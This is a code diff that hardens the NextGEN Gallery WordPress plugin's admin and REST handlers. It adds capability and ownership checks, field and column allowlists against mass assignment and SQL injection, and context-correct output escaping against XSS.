+		return current_user_can( 'NextGEN Manage others gallery' );
+	}
+
+	if ( get_current_user_id() === (int) $gallery->author ) {
+		return true;
+	}
+
+	// phpcs:ignore WordPress.WP.Capabilities.Unknown
+	return current_user_can( 'NextGEN Manage others gallery' );
+}
+
+/**
  * Image edit functions via AJAX
  *
  * @author Alex Rabe
@@ -35,11 +75,23 @@
 	// Get the image id.
 	if ( isset( $_POST['image'] ) ) {
 		$id = (int) sanitize_text_field( wp_unslash( $_POST['image'] ) );
+
+		if ( ! ngg_ajax_user_can_edit_image( $id ) ) {
+			die( '-1' );
+		}
+
 		// let's get the image data.
 		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- $_POST['image'] is sanitized on line 36
 		$picture = nggdb::find_image( $id );
 		// what do you want to do ?
 		$operation = isset( $_POST['operation'] ) ? sanitize_text_field( wp_unslash( $_POST['operation'] ) ) : '';
+
+		// Bounds the dynamic ngg_ajax_<operation> hook to addon-registered op names.
+		$allowed_dynamic_operations = (array) apply_filters(
+			'ngg_ajax_operation_allowlist',
+			[]
+		);
+
 		switch ( $operation ) {
 			case 'create_thumbnail':
 				$result = nggAdmin::create_thumbnail( $picture );
@@ -87,7 +139,9 @@
 				$result = '1';
 				break;
 			default:
-				do_action( 'ngg_ajax_' . $operation );
+				if ( $operation !== '' && in_array( $operation, $allowed_dynamic_operations, true ) ) {
+					do_action( 'ngg_ajax_' . $operation, $id );
+				}
 				die( '-1' );
 		}
 		// A success should return a '1'.
@@ -118,6 +172,10 @@

 	$id = (int) ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );

+	if ( ! ngg_ajax_user_can_edit_image( $id ) ) {
+		die( '-1' );
+	}
+
 	$x          = round( ( isset( $_POST['x'] ) ? floatval( sanitize_text_field( wp_unslash( $_POST['x'] ) ) ) : 0 ) * ( isset( $_POST['rr'] ) ? floatval( sanitize_text_field( wp_unslash( $_POST['rr'] ) ) ) : 1 ), 0 );
 	$y          = round( ( isset( $_POST['y'] ) ? floatval( sanitize_text_field( wp_unslash( $_POST['y'] ) ) ) : 0 ) * ( isset( $_POST['rr'] ) ? floatval( sanitize_text_field( wp_unslash( $_POST['rr'] ) ) ) : 1 ), 0 );
 	$w          = round( ( isset( $_POST['w'] ) ? floatval( sanitize_text_field( wp_unslash( $_POST['w'] ) ) ) : 0 ) * ( isset( $_POST['rr'] ) ? floatval( sanitize_text_field( wp_unslash( $_POST['rr'] ) ) ) : 1 ), 0 );
@@ -174,7 +232,12 @@
 	// include the ngg function.
 	include_once __DIR__ . '/functions.php';

-	$id     = (int) ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );
+	$id = (int) ( isset( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : 0 );
+
+	if ( ! ngg_ajax_user_can_edit_image( $id ) ) {
+		die( '-1' );
+	}
+
 	$result = '-1';

 	$ra = isset( $_POST['ra'] ) ? sanitize_text_field( wp_unslash( $_POST['ra'] ) ) : '';
--- a/nextgen-gallery/src/Legacy/admin/edit-thumbnail.php
+++ b/nextgen-gallery/src/Legacy/admin/edit-thumbnail.php
@@ -104,7 +104,7 @@
 <script type="text/javascript">
 	var status = 'edit';
 	var xT, yT, wT, hT, selectedCoords;
-	var selectedImage = "thumb<?php echo esc_js( $id ); ?>";
+	var selectedImage = "thumb<?php echo (int) $id; ?>"; // (int) cast — numeric ID appended to JS string literal, guarantees digits only.

 	function showPreview(coords) {
 		if (status != 'edit') {
@@ -113,12 +113,12 @@
 			status = 'edit';
 		}

-		var rx = <?php echo esc_js( $WidthHtmlPrev ); ?> / coords.w;
-		var ry = <?php echo esc_js( $HeightHtmlPrev ); ?> / coords.h;
+		var rx = <?php echo (float) $WidthHtmlPrev; ?> / coords.w; // (float) cast — bare JS numeric literal; esc_js would not enforce numeric.
+		var ry = <?php echo (float) $HeightHtmlPrev; ?> / coords.h; // (float) cast — bare JS numeric literal.

 		jQuery('#imageToEditPreview').css({
-			width: Math.round(rx * <?php echo esc_js( $resizedPreviewInfo['newWidth'] ); ?>) + 'px',
-			height: Math.round(ry * <?php echo esc_js( $resizedPreviewInfo['newHeight'] ); ?>) + 'px',
+			width: Math.round(rx * <?php echo (float) $resizedPreviewInfo['newWidth']; ?>) + 'px', // (float) cast — bare JS numeric literal in expression.
+			height: Math.round(ry * <?php echo (float) $resizedPreviewInfo['newHeight']; ?>) + 'px', // (float) cast — bare JS numeric literal in expression.
 			marginLeft: '-' + Math.round(rx * coords.x) + 'px',
 			marginTop: '-' + Math.round(ry * coords.y) + 'px'
 		});
@@ -146,7 +146,7 @@
 				w: wT,
 				h: hT,
 				action: 'createNewThumb',
-				id: <?php echo esc_js( $id ); ?>, rr: <?php echo esc_js( str_replace( ',', '.', $rr ) ); ?>,
+				id: <?php echo (int) $id; ?>, rr: <?php echo (float) str_replace( ',', '.', $rr ); ?>, // (int)/(float) casts — bare JS numeric literals in object; eliminates need for esc_js.
 				nonce: nonce
 			},
 			cache: false,
@@ -202,7 +202,7 @@
 				onChange: showPreview,
 				onSelect: showPreview,
 				<?php echo $default_crop_js_parameter; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Contains safe JavaScript parameters ?>
-				aspectRatio: <?php echo esc_js( str_replace( ',', '.', round( $WidthHtmlPrev / $HeightHtmlPrev, 3 ) ) ); ?>
+				aspectRatio: <?php echo (float) str_replace( ',', '.', round( $WidthHtmlPrev / $HeightHtmlPrev, 3 ) ); ?> <?php // (float) cast — bare JS numeric literal; esc_js not appropriate for numeric context. ?>
 			});
 		});
 	})(jQuery);
--- a/nextgen-gallery/src/Legacy/admin/manage-sort.php
+++ b/nextgen-gallery/src/Legacy/admin/manage-sort.php
@@ -84,7 +84,7 @@

 	// In the case somebody presort, then we take this url.
 	if ( isset( $_GET['dir'] ) || isset( $_GET['presort'] ) ) {
-		$base_url = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
+		$base_url = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; // Fixed: sanitize_text_field preserved quotes/control chars in URL; esc_url_raw validates URL at ingestion before use in add_query_arg/output.
 	} else {
 		$base_url = $clean_url;
 	}
@@ -168,43 +168,43 @@

 				<ul class="subsubsub">
 					<li><?php esc_html_e( 'Presort', 'nggallery' ); ?>:</li>
-					<li><a href="<?php print esc_attr( remove_query_arg( 'presort', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( remove_query_arg( 'presort', $base_url ) ); ?>"<?php // Fixed: esc_attr wrong context for href; esc_url blocks javascript:/data: schemes in URL attribute. ?>
 											<?php
 											if ( $presort == '' ) {
 												print 'class="current"';}
 											?>
 					><?php esc_html_e( 'Unsorted', 'nggallery' ); ?></a> |</li>
-					<li><a href="<?php print esc_attr( add_query_arg( 'presort', 'pid', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( add_query_arg( 'presort', 'pid', $base_url ) ); ?>"<?php // Fixed: href context needs esc_url (scheme validation), not esc_attr. ?>
 											<?php
 											if ( $presort == 'pid' ) {
 												print 'class="current"';}
 											?>
 					><?php esc_html_e( 'Image ID', 'nggallery' ); ?></a> |</li>
-					<li><a href="<?php print esc_attr( add_query_arg( 'presort', 'filename', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( add_query_arg( 'presort', 'filename', $base_url ) ); ?>"<?php // Fixed: href context needs esc_url, not esc_attr. ?>
 											<?php
 											if ( $presort == 'filename' ) {
 												print 'class="current"';}
 											?>
 					><?php esc_html_e( 'Filename', 'nggallery' ); ?></a> |</li>
-					<li><a href="<?php print esc_attr( add_query_arg( 'presort', 'alttext', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( add_query_arg( 'presort', 'alttext', $base_url ) ); ?>"<?php // Fixed: href context needs esc_url, not esc_attr. ?>
 											<?php
 											if ( $presort == 'alttext' ) {
 												print 'class="current"';}
 											?>
 					><?php esc_html_e( 'Alt/Title text', 'nggallery' ); ?></a> |</li>
-					<li><a href="<?php print esc_attr( add_query_arg( 'presort', 'imagedate', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( add_query_arg( 'presort', 'imagedate', $base_url ) ); ?>"<?php // Fixed: href context needs esc_url, not esc_attr. ?>
 											<?php
 											if ( $presort == 'imagedate' ) {
 												print 'class="current"';}
 											?>
 					><?php esc_html_e( 'Date/Time', 'nggallery' ); ?></a> |</li>
-					<li><a href="<?php print esc_attr( add_query_arg( 'dir', 'ASC', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( add_query_arg( 'dir', 'ASC', $base_url ) ); ?>"<?php // Fixed: href context needs esc_url, not esc_attr. ?>
 											<?php
 											if ( $dir == 'ASC' ) {
 												print 'class="current"';}
 											?>
 					><?php esc_html_e( 'Ascending', 'nggallery' ); ?></a> |</li>
-					<li><a href="<?php print esc_attr( add_query_arg( 'dir', 'DESC', $base_url ) ); ?>"
+					<li><a href="<?php print esc_url( add_query_arg( 'dir', 'DESC', $base_url ) ); ?>"<?php // Fixed: href context needs esc_url, not esc_attr. ?>
 											<?php
 											if ( $dir == 'DESC' ) {
 												print 'class="current"';}
--- a/nextgen-gallery/src/Legacy/admin/manage.php
+++ b/nextgen-gallery/src/Legacy/admin/manage.php
@@ -649,6 +649,13 @@
 							$id = sanitize_text_field( wp_unslash( $id ) );

 							$gallery = $mapper->find( $id );
+							if ( ! $gallery ) {
+								continue;
+							}
+							// Per-row ownership: can_manage_this_gallery() returns true for the gallery author or for users holding 'NextGEN Manage others gallery'.
+							if ( ! nggAdmin::can_manage_this_gallery( $gallery->author ) ) {
+								continue;
+							}
 							if ( $gallery->path == '../' || false !== strpos( $gallery->path, '/../' ) ) {
 								/* translators: %s: gallery ID */
 								nggGallery::show_message( sprintf( __( 'One or more "../" in Gallery paths could be unsafe and NextGen Gallery will not delete gallery %s automatically', 'nggallery' ), $gallery->{$gallery->id_field} ) );
@@ -912,17 +919,26 @@
 				}

 				if ( $this->gallery ) {
-					$excludes = [ '_wpnonce', '_wp_http_referer', 'nggpage' ];
-					foreach ( $_POST as $key => $value ) {
-						// Yet another IIS hack: gallery paths can be mangled into \wp-content\blah\ which causes
-						// later errors when validating the gallery path: just automatically replace \ with / here.
-						if ( $key === 'path' ) {
-							$value = str_replace( '\\', '/', $value );
+					// Allowlist matches the editable inputs in templates/manage_gallery/gallery_*_field.php.
+					// Iterating $_POST blindly would let columns like author/gid/extras_post_id/slug be set.
+					$editable_gallery_fields = [ 'title', 'galdesc', 'previewpic', 'path', 'pageid' ];
+
+					foreach ( $editable_gallery_fields as $field ) {
+						if ( ! isset( $_POST[ $field ] ) ) {
+							continue;
 						}

-						if ( ! in_array( $key, $excludes, true ) ) {
-							$this->gallery->$key = $value;
+						if ( $field === 'path' ) {
+							// IIS hack: gallery paths can be mangled into \wp-content\blah\ which causes later errors when validating the gallery path.
+							$value = str_replace( '\\', '/', sanitize_text_field( wp_unslash( $_POST[ $field ] ) ) );
+						} elseif ( $field === 'previewpic' || $field === 'pageid' ) {
+							$value = (int) wp_unslash( $_POST[ $field ] );
+						} else {
+							// title/galdesc are pre-sanitized higher in this branch (sanitize_text_field + strip_tags allowlist) and written back into $_POST; read that processed value.
+							$value = wp_unslash( $_POST[ $field ] );
 						}
+
+						$this->gallery->$field = $value;
 					}

 					$mapper->save( $this->gallery );
@@ -951,6 +967,11 @@
 		// Rescan folder.
 		if ( isset( $_POST['scanfolder'] ) ) {

+			// Outer nonce + page-level cap is not enough; folder import targets a specific gallery row.
+			if ( ! $this->can_user_manage_gallery() ) {
+				return;
+			}
+
 			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
 			$gallerypath = $wpdb->get_var(
 				$wpdb->prepare(
@@ -967,8 +988,17 @@
 		// Add a new page.
 		if ( isset( $_POST['addnewpage'] ) ) {

-			$parent_id     = isset( $_POST['parent_id'] ) ? esc_attr( sanitize_text_field( wp_unslash( $_POST['parent_id'] ) ) ) : '';
-			$gallery_title = isset( $_POST['title'] ) ? esc_attr( sanitize_text_field( wp_unslash( $_POST['title'] ) ) ) : '';
+			// Branch mutates a specific gallery and publishes a page — gate on gallery ownership and on publish_pages
+			// because wp_insert_post() does not enforce capabilities when called directly.
+			if ( ! $this->can_user_manage_gallery() ) {
+				return;
+			}
+			if ( ! current_user_can( 'publish_pages' ) ) {
+				return;
+			}
+
+			$parent_id     = isset( $_POST['parent_id'] ) ? (int) wp_unslash( $_POST['parent_id'] ) : 0;
+			$gallery_title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : '';
 			$mapper        = GalleryMapper::get_instance();
 			$gallery       = $mapper->find( $this->gid );
 			$gallery_name  = $gallery->name;
@@ -1021,6 +1051,7 @@
 			$image_mapper = ImageMapper::get_instance();

 			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- wp_unslash only removes slashes, values are sanitized on line 976 and later
+			$current_gallery_id = isset( $this->gallery->{$this->gallery->id_field} ) ? (int) $this->gallery->{$this->gallery->id_field} : 0;
 			foreach ( wp_unslash( $_POST['images'] ) as $pid => $data ) {
 				$pid = sanitize_text_field( wp_unslash( $pid ) );
 				if ( ! isset( $data['exclude'] ) ) {
@@ -1028,6 +1059,13 @@
 				}
 				$image = $image_mapper->find( $pid );
 				if ( $image ) {
+					// Cross-gallery IDOR guard: $_POST['images'] is keyed by raw pid from the form payload;
+					// reject any image whose galleryid does not match the gallery the form was rendered for.
+					// can_user_manage_gallery() above only verifies ownership of $this->gallery, so without this
+					// check a user managing gallery A could rewrite fields on images in gallery B.
+					if ( 0 === $current_gallery_id || (int) $image->galleryid !== $current_gallery_id ) {
+						continue;
+					}
 					// Strip slashes from title/description/alttext fields.
 					if ( isset( $data['description'] ) ) {
 						$data['description'] = ImagelyNGGDisplayI18N::ngg_sanitize_text_alt_title_desc( $data['description'] );
@@ -1044,9 +1082,14 @@
 						$data['image_slug'] = null; // will cause a new slug to be generated.
 					}

-					// Update all fields.
-					foreach ( $data as $key => $value ) {
-						$image->$key = $value;
+					// image_slug is included because the alttext-change branch above sets it to null to trigger regeneration.
+					// Iterating $data blindly would allow columns like galleryid/meta_data/post_id/extras_post_id/imagedate to be overwritten via crafted images[<pid>][...] POST.
+					$editable_image_fields = [ 'alttext', 'description', 'title', 'exclude', 'tags', 'image_slug' ];
+
+					foreach ( $editable_image_fields as $field ) {
+						if ( array_key_exists( $field, $data ) ) {
+							$image->$field = $data[ $field ];
+						}
 					}
 					if ( $image_mapper->save( $image ) ) {
 						++$updated;
--- a/nextgen-gallery/src/Legacy/admin/media-upload.php
+++ b/nextgen-gallery/src/Legacy/admin/media-upload.php
@@ -143,13 +143,20 @@

 	// Get the images.
 	if ( $galleryID != 0 ) {
+		// SQLi hardening: allowlist sort column + direction read from plugin options before interpolating into ORDER BY.
+		$allowed_sort_cols = [ 'pid', 'sortorder', 'imagedate', 'filename', 'alttext', 'galleryid' ];
+		$gal_sort          = isset( $ngg->options['galSort'] ) ? (string) $ngg->options['galSort'] : 'sortorder';
+		$gal_sort          = in_array( $gal_sort, $allowed_sort_cols, true ) ? $gal_sort : 'sortorder';
+		$gal_sort_dir      = ( isset( $ngg->options['galSortDir'] ) && 'DESC' === strtoupper( (string) $ngg->options['galSortDir'] ) ) ? 'DESC' : 'ASC';
+		$start_int         = absint( $start ); // Cast LIMIT offset to int to block injection via $start.
+
 		// Using %i in $wpdb->prepare() to signify column identifiers was only added in WP 6.2
 		//
 		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
 		$picarray = $wpdb->get_col(
 			$wpdb->prepare(
-				"SELECT DISTINCT `pid` FROM {$wpdb->nggpictures} WHERE `galleryid` = %d AND `exclude` != 1 ORDER BY {$ngg->options['galSort']}, `pid` {$ngg->options['galSortDir']} LIMIT {$start}, 10",
+				"SELECT DISTINCT `pid` FROM {$wpdb->nggpictures} WHERE `galleryid` = %d AND `exclude` != 1 ORDER BY `{$gal_sort}`, `pid` {$gal_sort_dir} LIMIT {$start_int}, 10",
 				[
 					$galleryID,
 				]
@@ -369,8 +376,9 @@
 								$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
 							}
 								$second_nonce = wp_create_nonce( 'ngg_set_post_thumbnails' );
-								// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Complex HTML structure with onclick handler for WordPress media functionality
-								echo "<a class='ngg-post-thumbnail' id='ngg-post-thumbnail-" . $picid . "' href='#' onclick='NGGSetAsThumbnail("$picid", "$ajax_nonce", "$second_nonce"); return false;'>" . esc_html__( 'Use as featured image', 'nggallery' ) . '</a>';
+								$picid_int    = (int) $picid; // Cast to int — id used in HTML attr and JS args, int eliminates quote/backslash injection.
+								$onclick_args = wp_json_encode( $picid_int ) . ',' . wp_json_encode( $ajax_nonce ) . ',' . wp_json_encode( $second_nonce ); // wp_json_encode — correct JS-context escape for string/int literals, replaces raw concat.
+								echo "<a class='ngg-post-thumbnail' id='ngg-post-thumbnail-" . esc_attr( $picid_int ) . "' href='#' onclick='" . esc_attr( 'NGGSetAsThumbnail(' . $onclick_args . '); return false;' ) . "'>" . esc_html__( 'Use as featured image', 'nggallery' ) . '</a>'; // esc_attr wraps onclick value — HTML-attr context around JS payload.
 								echo "<a class='ngg-post-thumbnail-standin' href='#' style='display:none;'></a>";
 							?>
 							<button type="submit" id="ngg-mlitp-<?php echo esc_attr( $picid ); ?>" class="button ngg-mlitp" value="1" name="send[<?php echo esc_attr( $picid ); ?>]"><?php esc_html_e( 'Insert into Post', 'nggallery' ); ?></button>
--- a/nextgen-gallery/src/Legacy/admin/rotate.php
+++ b/nextgen-gallery/src/Legacy/admin/rotate.php
@@ -44,8 +44,8 @@
 ?>

 <script type='text/javascript'>
-	var selectedImage = "thumb<?php echo esc_js( $id ); ?>";
-	var rotateImageNonce = '<?php print esc_attr( wp_create_nonce( 'ngg-rotate-image' ) ); ?>';
+	var selectedImage = "thumb<?php echo (int) $id; ?>"; // (int) cast — $id appended in JS string, numeric guarantee prevents break.
+	var rotateImageNonce = <?php echo wp_json_encode( wp_create_nonce( 'ngg-rotate-image' ) ); ?>; // wp_json_encode — JS-string context; esc_attr was HTML-entity encode, wrong context.

 	function rotateImage() {

@@ -57,7 +57,7 @@
 			data:  {
 				action: 'rotateImage',
 				nonce: rotateImageNonce,
-				id: <?php print esc_attr( $id ); ?>,
+				id: <?php echo (int) $id; ?>, // (int) cast — bare JS numeric literal; esc_attr returned HTML entities, not safe in JS context.
 				ra: rotate_angle
 			},
 			cache: false,
--- a/nextgen-gallery/src/Legacy/admin/thumbnails-template.php
+++ b/nextgen-gallery/src/Legacy/admin/thumbnails-template.php
@@ -34,34 +34,47 @@
 	}

 	if ( is_array( $thumb_sizes ) ) {
-		$size_selected    = null;
-		$size_select_html = "<select name='{$thumbnails_template_name}' id='{$thumbnails_template_id}' onchange='"
-			. 'var jt = jQuery(this);'
+		$size_selected = null;
+
+		// XSS hardening: escape all dynamic pieces per context (attr vs JS string) before building select markup.
+		$name_attr       = esc_attr( $thumbnails_template_name );
+		$id_attr         = esc_attr( $thumbnails_template_id );
+		$width_name_js   = esc_js( $thumbnails_template_width_name );
+		$height_name_js  = esc_js( $thumbnails_template_height_name );
+		$width_value_js  = esc_js( (string) $thumbnails_template_width_value );
+		$height_value_js = esc_js( (string) $thumbnails_template_height_value );
+
+		// Build JS separately then esc_attr() the whole string: esc_js() escapes ' as ' which does NOT
+		// prevent attribute breakout in single-quoted HTML attributes — only HTML-encoding (') does.
+		$onchange_js = 'var jt = jQuery(this);'
 			. ' var szcust = jt.next(".nextgen-thumb-size-custom");'
 			. ' if (jt.val() == "custom") {'
-			. " szcust.find("[name=\"{$thumbnails_template_width_name}\"]").val("{$thumbnails_template_width_value}");"
-			. " szcust.find("[name=\"{$thumbnails_template_height_name}\"]").val("{$thumbnails_template_height_value}");"
+			. " szcust.find("[name=\"{$width_name_js}\"]").val("{$width_value_js}");"
+			. " szcust.find("[name=\"{$height_name_js}\"]").val("{$height_value_js}");"
 			. ' szcust.show();'
 			. ' } else {'
 			. ' var parts = jt.val().split("x");'
 			. ' szcust.hide();'
-			. " szcust.find("[name=\"{$thumbnails_template_width_name}\"]").val(parts[0]);"
-			. " szcust.find("[name=\"{$thumbnails_template_height_name}\"]").val(parts[1]);"
-			. " }'>";
+			. " szcust.find("[name=\"{$width_name_js}\"]").val(parts[0]);"
+			. " szcust.find("[name=\"{$height_name_js}\"]").val(parts[1]);"
+			. ' }';
+
+		$size_select_html = "<select name='{$name_attr}' id='{$id_attr}' onchange='" . esc_attr( $onchange_js ) . "'>";

 		foreach ( $thumb_sizes as $thumb_size ) {
 			$thumb_size_parts = explode( 'x', $thumb_size );
 			$thumb_width      = $thumb_size_parts[0];
 			$thumb_height     = $thumb_size_parts[1];

-			$size_select_html .= "n" . '<option value="' . $thumb_size . '"';
+			// Escape option value (attr) and text (HTML) from stored option to neutralize XSS payloads.
+			$size_select_html .= "n" . '<option value="' . esc_attr( $thumb_size ) . '"';

 			if ( $thumbnails_template_width_value == $thumb_width && $thumbnails_template_height_value == $thumb_height ) {
 				$size_selected     = $thumb_size;
 				$size_select_html .= ' selected';
 			}

-			$size_select_html .= '>' . $thumb_size . '</option>';
+			$size_select_html .= '>' . esc_html( $thumb_size ) . '</option>';
 		}

 		$size_select_html .= "n" . '<option value="custom"';
--- a/nextgen-gallery/src/Legacy/lib/core.php
+++ b/nextgen-gallery/src/Legacy/lib/core.php
@@ -223,15 +223,18 @@
 	 * @return bool $result of capability check
 	 */
 public static function current_user_can( $capability ) {
+		// Map NGG caps that are referenced by code but never installed by UtilInstaller::set_role_caps()
+		// to the installed parent cap. Without this mapping a passthrough current_user_can() check
+		// against an uninstalled cap returns false for every role, including admins.
+		static $ngg_cap_alias_map = [
+			'NextGEN Edit gallery options' => 'NextGEN Manage gallery',
+			'NextGEN Add new gallery'      => 'NextGEN Manage gallery',
+			'NextGEN Import image folder'  => 'NextGEN Upload images',
+		];

-		global $_ngg_capabilites;
+		$effective_cap = isset( $ngg_cap_alias_map[ $capability ] ) ? $ngg_cap_alias_map[ $capability ] : $capability;

-		if ( is_array( $_ngg_capabilites ) ) {
-			if ( in_array( $capability, $_ngg_capabilites ) ) {
-				return current_user_can( $capability );
-			}
-		}
-
-		return true;
+		// phpcs:ignore WordPress.WP.Capabilities.Unknown -- NGG-specific custom caps registered by UtilInstaller::set_role_caps().
+		return current_user_can( $effective_cap );
 	}
 }
--- a/nextgen-gallery/src/Legacy/lib/ngg-db.php
+++ b/nextgen-gallery/src/Legacy/lib/ngg-db.php
@@ -128,6 +128,9 @@
 		// Say no to any other value
 		$order_dir = ( $order_dir == 'DESC' ) ? 'DESC' : 'ASC';
 		$order_by  = ( empty( $order_by ) ) ? 'sortorder' : $order_by;
+		// SQLi hardening: allowlist nggpictures column names for ORDER BY before SQL interpolation.
+		$allowed_cols = [ 'pid', 'sortorder', 'imagedate', 'filename', 'alttext', 'galleryid', 'image_slug', 'description', 'exclude' ];
+		$order_by     = in_array( $order_by, $allowed_cols, true ) ? $order_by : 'sortorder';

 		// Query database
 		if ( is_numeric( $id ) ) {
@@ -473,6 +476,9 @@
 		// Say no to any other value
 		$order_dir = ( $order_dir == 'DESC' ) ? 'DESC' : 'ASC';
 		$order_by  = ( empty( $order_by ) ) ? 'galleryid' : $order_by;
+		// SQLi hardening: allowlist nggpictures column names for ORDER BY before SQL interpolation.
+		$allowed_cols = [ 'pid', 'sortorder', 'imagedate', 'filename', 'alttext', 'galleryid', 'image_slug', 'description', 'exclude' ];
+		$order_by     = in_array( $order_by, $allowed_cols, true ) ? $order_by : 'galleryid';

 		$sql = $wpdb->prepare(
 			"SELECT t.*, tt.*
--- a/nextgen-gallery/src/Legacy/lib/post-thumbnail.php
+++ b/nextgen-gallery/src/Legacy/lib/post-thumbnail.php
@@ -156,18 +156,21 @@
 			die( '-1' );
 		}

-		if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], 'ngg_set_post_thumbnails' ) ) {
+		// Sanitize + unslash nonce prior to verification per WP standards (defense-in-depth).
+		if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'ngg_set_post_thumbnails' ) ) {
 			die( '-1' );
 		}

 		// get the post id as global variable, otherwise the ajax_nonce failed later
-		$post_ID = intval( $_REQUEST['post_id'] );
+		// wp_unslash added before intval() per WP input handling standards (strip magic-quote slashes before cast).
+		$post_ID = isset( $_REQUEST['post_id'] ) ? intval( wp_unslash( $_REQUEST['post_id'] ) ) : 0;

 		if ( ! current_user_can( 'edit_post', $post_ID ) ) {
 			die( '-1' );
 		}

-		$thumbnail_id = intval( $_REQUEST['thumbnail_id'] );
+		// wp_unslash added before intval() per WP input handling standards (strip magic-quote slashes before cast).
+		$thumbnail_id = isset( $_REQUEST['thumbnail_id'] ) ? intval( wp_unslash( $_REQUEST['thumbnail_id'] ) ) : 0;

 		// delete the image
 		if ( $thumbnail_id == '-1' ) {
@@ -175,6 +178,11 @@
 			die( '1' );
 		}

+		// Scope NGG image selection: edit_post alone lets an author attach arbitrary NGG images (incl. private/admin-only galleries) as featured image. Require the NGG Attach Interface cap so only users granted gallery-attach rights may pick NGG images. Removal branch above is not gated since it only clears post meta on a post the user already owns.
+		if ( ! ImagelyNGGUtilSecurity::is_allowed( 'NextGEN Attach Interface' ) ) {
+			die( '-1' );
+		}
+
 		$attachment_id = StorageManager::get_instance()->set_post_thumbnail( $post_ID, $thumbnail_id, TRUE );
 		if ( $attachment_id ) {
 			die( strval( $attachment_id ) );
@@ -217,7 +225,8 @@
 				$img_src = trailingslashit( home_url() ) . 'index.php?callback=image&pid=' . $image->pid . '&width=' . $width . '&height=' . $height . '&mode=crop';
 			}

-			$thumbnail_html = '<img width="266" src="' . $img_src . '" alt="' . $image->alttext . '" title="' . $image->alttext . '" />';
+			// Escape URL + attribute data from DB to prevent stored XSS via image alttext in admin featured-image meta box.
+			$thumbnail_html = '<img width="266" src="' . esc_url( $img_src ) . '" alt="' . esc_attr( $image->alttext ) . '" title="' . esc_attr( $image->alttext ) . '" />';

 			if ( !empty( $thumbnail_html ) ) {
 				$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$post_ID" );
--- a/nextgen-gallery/src/REST/Admin/AttachToPost.php
+++ b/nextgen-gallery/src/REST/Admin/AttachToPost.php
@@ -122,23 +122,73 @@
 	}

 	public function get_images( $request ) {
-		global $wpdb;
-
 		$response = [];

 		$params = $request->get_param( 'displayed_gallery' );
+		if ( ! is_array( $params ) ) {
+			$params = [];
+		}

 		$storage      = StorageManager::get_instance();
 		$image_mapper = ImageMapper::get_instance();

 		$displayed_gallery = new DisplayedGallery();

-		foreach ( $params as $key => $value ) {
-			$key = $wpdb->_escape( $key );
-   // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
-			if ( ! in_array( $key, [ 'container_ids', 'entity_ids', 'sortorder' ] ) ) {
-				$value = esc_sql( $value );
+		// Per-property allowlist + type cast for DisplayedGallery params arriving from the REST body.
+		// Anything outside the allowlist is silently dropped; values are cast per group rather than
+		// piped through esc_sql() (which is not a substitute for $wpdb->prepare()).
+		$id_array_props = [ 'container_ids', 'entity_ids', 'excluded_container_ids', 'gallery_ids', 'image_ids', 'tag_ids', 'album_ids', 'ids', 'exclusions' ];
+		$string_props   = [ 'display_type', 'order_by', 'order_direction', 'returns', 'source', 'src', 'slug', 'sortorder', 'transient_id' ];
+		$int_props      = [ 'ID', 'id', 'maximum_entity_count', 'images_list_count' ];
+		$bool_props     = [ 'is_album_gallery', 'skip_excluding_globally_excluded_images', 'tagcloud' ];
+		$assoc_props    = [ 'display_settings' ];
+		$text_props     = [ 'effect_code', 'inner_content', 'display' ];
+
+		foreach ( $params as $raw_key => $raw_value ) {
+			if ( ! is_string( $raw_key ) ) {
+				continue;
+			}
+			$key = sanitize_key( $raw_key );
+			if ( '' === $key ) {
+				continue;
+			}
+
+			if ( in_array( $key, $id_array_props, true ) ) {
+				if ( is_array( $raw_value ) ) {
+					$value = array_values( array_filter( array_map( 'absint', $raw_value ) ) );
+				} elseif ( is_string( $raw_value ) ) {
+					$value = array_values(
+						array_filter(
+							array_map(
+								'absint',
+								array_map( 'trim', explode( ',', $raw_value ) )
+							)
+						)
+					);
+				} else {
+					$value = [];
+				}
+			} elseif ( in_array( $key, $string_props, true ) ) {
+				$value = is_scalar( $raw_value ) ? sanitize_text_field( (string) $raw_value ) : '';
+			} elseif ( in_array( $key, $int_props, true ) ) {
+				$value = is_scalar( $raw_value ) ? (int) $raw_value : 0;
+			} elseif ( in_array( $key, $bool_props, true ) ) {
+				$value = (bool) $raw_value;
+			} elseif ( in_array( $key, $assoc_props, true ) ) {
+				if ( is_array( $raw_value ) ) {
+					$value = $raw_value;
+				} elseif ( is_string( $raw_value ) ) {
+					$decoded = json_decode( $raw_value, true );
+					$value   = is_array( $decoded ) ? $decoded : [];
+				} else {
+					$value = [];
+				}
+			} elseif ( in_array( $key, $text_props, true ) ) {
+				$value = is_scalar( $raw_value ) ? wp_kses_post( (string) $raw_value ) : '';
+			} else {
+				continue;
 			}
+
 			$displayed_gallery->$key = $value;
 		}

